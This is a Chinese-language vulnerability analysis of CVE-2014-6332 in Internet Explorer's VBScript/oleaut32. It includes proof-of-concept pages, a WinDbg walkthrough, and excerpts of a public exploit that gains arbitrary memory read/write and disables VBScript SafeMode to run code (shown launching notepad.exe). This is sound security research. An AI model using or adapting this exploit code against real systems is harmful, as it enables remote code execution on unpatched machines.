Internet Explorer漏洞分析(三)[下]——CVE-2014-6332
Internet Explorer漏洞分析(三)[下]——CVE-2014-6332
1.本文一共2158個(gè)字 39張圖 預(yù)計(jì)閱讀時(shí)間14分鐘2.本文作者erfze 屬于Gcow安全團(tuán)隊(duì)復(fù)眼小組 未經(jīng)過許可禁止轉(zhuǎn)載3.本篇文章是CVE-2014-6332漏洞的分析入手 詳細(xì)的闡述漏洞的成因以及如何去利用該漏洞4.本篇文章十分適合漏洞安全研究人員進(jìn)行交流學(xué)習(xí)5.若文章中存在說得不清楚或者錯(cuò)誤的地方 歡迎師傅到公眾號后臺留言中指出 感激不盡
0x01 漏洞信息
0x01.1 漏洞簡述
?編號:CVE-2014-6332?漏洞影響:遠(yuǎn)程代碼執(zhí)行(RCE)?CVSS 2.0:9.3
oleaut32.dll中SafeArrayRedim在進(jìn)行數(shù)組重新定義時(shí)未對傳入?yún)?shù)psaboundNew進(jìn)行有效校驗(yàn),以致可以越界讀寫,進(jìn)而造成任意代碼執(zhí)行。
0x01.2 漏洞影響
Windows Server 2003 SP2, Windows Vista SP2, Windows Server 2008 SP2 and R2 SP1, Windows 7 SP1, Windows 8, Windows 8.1, Windows Server 2012 Gold and R2, Windows RT Gold and 8.1
0x01.3 修復(fù)方案
[MS14-064]https://docs.microsoft.com/en-us/security-updates/securitybulletins/2014/ms14-064
0x02 漏洞分析
0x02.1 分析環(huán)境
?OS版本:Windows 7 Service Pack 1?Internet Explorer版本:8.0.7601.17514?oleaut32.dll版本:6.1.7601.17514?vbscript.dll版本:5.8.7601.17514
0x02.2 前置知識
請移步Internet Explorer漏洞分析(三)[上]——VBScript Scripting Engine初探。
0x02.3 詳細(xì)分析
分析所用POC如下:
<!doctype html><html lang="en"><head></head><body><script LANGUAGE="VBScript">On Error Resume NextDim arrayA()Dim sizeDim oversize = &h5over = &h8000000 + sizeRedim Preserve arrayA(size)Redim Preserve arrayA(over)arrayA(size+1) = "Hello"</script></body></html>
打開該P(yáng)OC,使用WinDbg附加調(diào)試,于vbscript!RedimPreserveArray函數(shù)處設(shè)斷,允許阻止的內(nèi)容:

執(zhí)行到call oleaut32.dll!SafeArrayRedim處,跟進(jìn)分析:

首先是判斷傳入?yún)?shù)psa與psaboundNew均不為空:

之后對psa.fFeatures,psa.cDims及psa.cLocks進(jìn)行判斷:

call SafeArraySize計(jì)算數(shù)組元素占用空間大?。?/p>

將psaboundNew寫入psa.rgsabound中:

調(diào)整后數(shù)組:

計(jì)算調(diào)整后數(shù)組元素占用空間大小,減去原來數(shù)組元素占用空間大?。?/p>

由于此時(shí)ebx=80000000,故執(zhí)行結(jié)果為負(fù)數(shù)指令分支 :

ole32!CRetailMalloc_Alloc函數(shù)用于為HeapAlloc傳遞參數(shù)并調(diào)用之:

由于申請空間遠(yuǎn)遠(yuǎn)超過可分配空間大小,故分配失敗,直接跳轉(zhuǎn)到函數(shù)末返回錯(cuò)誤值:

由此,便可實(shí)現(xiàn)任意地址讀寫。
下面來看看正常執(zhí)行流程,修改POC如下:
<!doctype html><html lang="en"><head></head><body><script LANGUAGE="VBScript">On Error Resume NextDim arrayA()Dim sizeDim oversize = &h6resize = &h4Redim Preserve arrayA(size)arrayA(0)="Jane"arrayA(5)="Alan"Redim Preserve arrayA(resize)IsEmpty(arrayA)</script></body></html>
調(diào)整后數(shù)組元素占用空間大小-原來數(shù)組元素占用空間大小=0x50-0x70=ffffffe0:

對其取相反數(shù)后申請如此大小空間:

之后將數(shù)組多余元素即arrayA(5)—arrayA(6)復(fù)制到此空間內(nèi):


call ole32!CRetailMalloc_Realloc重新分配堆塊:

總結(jié):
1.SafeArrayRedim函數(shù)在未重新分配空間之前便將psaboundNew寫入psa.rgsabound,用以傳遞給SafeArraySize函數(shù)計(jì)算調(diào)整數(shù)組元素大小2.sub ebx, [ebp+Size]及test ebx, ebx兩條指令用于判斷調(diào)整數(shù)組元素大小—原數(shù)組元素大小與零的關(guān)系,小于零/大于等于零進(jìn)入不同分支處理3.neg [ebp+psaboundNew]對調(diào)整數(shù)組元素大小與原數(shù)組元素大小差值取相反數(shù),將其傳遞給HeapAlloc函數(shù)分配相應(yīng)大小堆塊
POC中&h8000000(該值經(jīng)過SafeArraySize函數(shù)計(jì)算后為0x80000000)正是利用以上三點(diǎn),實(shí)現(xiàn)任意地址讀寫——test ebx, ebx與jge組合進(jìn)行有符號數(shù)比較,neg對其取反仍為0x80000000。
0x02.4 利用分析
Exp來自[yuange]https://www.exploit-db.com/exploits/35229。
第一部分:
function BeginInit()Randomize()redim aa(5)redim ab(5)a0=13+17*rnd(6)a3=7+3*rnd(5)end functionfunction Create()On Error Resume Nextdim iCreate=FalseFor i = 0 To 400If Over()=True Then' document.write(i)Create=TrueExit ForEnd IfNextend function......function Over()On Error Resume Nextdim type1,type2,type3Over=Falsea0=a0+a3a1=a0+2a2=a0+&h8000000redim Preserve aa(a0)redim ab(a0)redim Preserve aa(a2)type1=1ab(0)=1.123456789012345678901234567890aa(a0)=10If(IsObject(aa(a1-1)) = False) Thenif(intVersion<4) thenmem=cint(a0+1)*16j=vartype(aa(a1-1))if((j=mem+4) or (j*8=mem+8)) thenif(vartype(aa(a1-1))<>0) ThenIf(IsObject(aa(a1)) = False ) Thentype1=VarType(aa(a1))end ifend ifelseredim Preserve aa(a0)exit functionend ifelseif(vartype(aa(a1-1))<>0) ThenIf(IsObject(aa(a1)) = False ) Thentype1=VarType(aa(a1))end ifend ifend ifend if'0x6f66 & 0xFFFFBFFF=0x2f66If(type1=&h2f66) thenOver=TrueEnd IfIf(type1=&hB9AD) ThenOver=Truewin9x=1End Ifredim Preserve aa(a0)end function
通過循環(huán)不斷重新定義數(shù)組,擴(kuò)大數(shù)組規(guī)模,直至數(shù)組aa與ab于內(nèi)存中相鄰(準(zhǔn)確 來說,二者相差8字節(jié)):

ab(0)=1.123456789012345678901234567890,該值轉(zhuǎn)換IEEE浮點(diǎn)數(shù)可通過[IEEE 754 Calculator]http://weitz.de/ieee/ 計(jì)算:

如此一來,可通過aa數(shù)組訪問ab數(shù)組元素(由ab起始位置偏移8字節(jié))。type1=&h2f66判斷是由于GetVarType函數(shù)返回前會將vt與0xFFFFBFFF作與運(yùn)算:

第二部分:
myarray=chrw(01)&chrw(2176)&chrw(01)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00) myarray=myarray&chrw(00)&chrw(32767)&chrw(00)&chrw(0).......sub testaa()end subfunction mydata()On Error Resume Nexti=testaai=nullredim Preserve aa(a2)ab(0)=0aa(a1)=iab(0)=6.36598737437801E-314aa(a1+2)=myarrayab(2)=1.74088534731324E-310mydata=aa(a1)redim Preserve aa(a0)end function
先來看 i=testaa操作——將函數(shù)賦值給變量。簡化版如下:
<!doctype html><html lang="en"><head></head><body><script LANGUAGE="VBScript">On Error Resume Nextsub testaa()end subIsEmpty("Test")i = testaai = null</script></body></html>
于vbscript!VbsIsEmpty斷下:

通過ba w 2 1dc9e68與ba w 4 1dc9e68+8兩條指令對棧頂設(shè)斷,第二次斷下時(shí),修改vt為0x4C:

第三次斷下:

第四次斷下,更改vt為0x01(VT_NULL = 0x0001):

但其仍存儲的是vbscript!CScriptEntryPoint對象,其后賦值給i。On Error Resume Next在此處尤為重要,是否加入該語句執(zhí)行情況對比:

未加入On Error Resume Next語句最終會調(diào)用CSession::ReportError:

而不會執(zhí)行后續(xù)i = null語句,感興趣的讀者可自行探索CScriptRuntime::RunNoEH函數(shù),不在這里過多展開(該函數(shù)功能復(fù)雜,筆者僅是簡單跟蹤是否加入On Error Resume Next語句的執(zhí)行流):

開啟任意讀寫后執(zhí)行aa(a1)=i:

ab(0)=6.36598737437801E-314:

aa(a1+2)=myarray:

ab(2)=1.74088534731324E-310:

關(guān)于此處的調(diào)試可于vbscript!VbsIsEmpty函數(shù)設(shè)斷,配合如下修改:
'isempty(ab)ab(0)=0aa(a1)=i'isempty("1")ab(0)=6.36598737437801E-314'isempty("2")aa(a1+2)=myarray'isempty("3")ab(2)=1.74088534731324E-310'isempty("4")
第一次斷下后,可獲得數(shù)組元素存儲位置:

mydata=aa(a1):

第三部分:
function ReadMemo(add)On Error Resume Nextredim Preserve aa(a2)ab(0)=0aa(a1)=add+4ab(0)=1.69759663316747E-313ReadMemo=lenb(aa(a1))ab(0)=0redim Preserve aa(a0)end function
該函數(shù)功能用于讀取參數(shù)add指向內(nèi)存,關(guān)鍵函數(shù)是cbLengthBstr(具體請參考Internet Explorer漏洞分析(三)[上]——VBScript Scripting Engine初探中的0x05 LenB函數(shù)一節(jié))。ab(0)=1.69759663316747E-313:

完成讀?。?/p>

第四部分:
function setnotsafemode()On Error Resume Nexti=mydata()i=readmemo(i+8)i=readmemo(i+16)j=readmemo(i+&h134)for k=0 to &h60 step 4j=readmemo(i+&h120+k)if(j=14) thenj=0redim Preserve aa(a2)aa(a1+2)(i+&h11c+k)=ab(4)redim Preserve aa(a0)j=0j=readmemo(i+&h120+k)Exit forend ifnextab(2)=1.69759663316747E-313runmumaa()end function
第一次讀取結(jié)果見上文圖片,i=readmemo(i+16)第二次讀?。?/p>

該地址為vbscript!COleScript對象:

通過循環(huán)于該對象偏移0x120之后搜尋0x0E,該值用于檢查是否處于SafeMode:

aa(a1+2)存儲的是之前構(gòu)造數(shù)組對象——myarray:

myarray起始地址為0,rgsabound.cElements為0x7fff0000,故可讀寫vbscript!COleScript+0x170處內(nèi)容:

修改完成,進(jìn)入GodMode,成功彈出notepad.exe。
0x03 參閱鏈接
?[Microsoft Docs——SAFEARRAY]https://docs.microsoft.com/en-us/windows/win32/api/oaidl/ns-oaidl-safearray?Internet Explorer漏洞分析(三)[上]——VBScript Scripting Engine初探
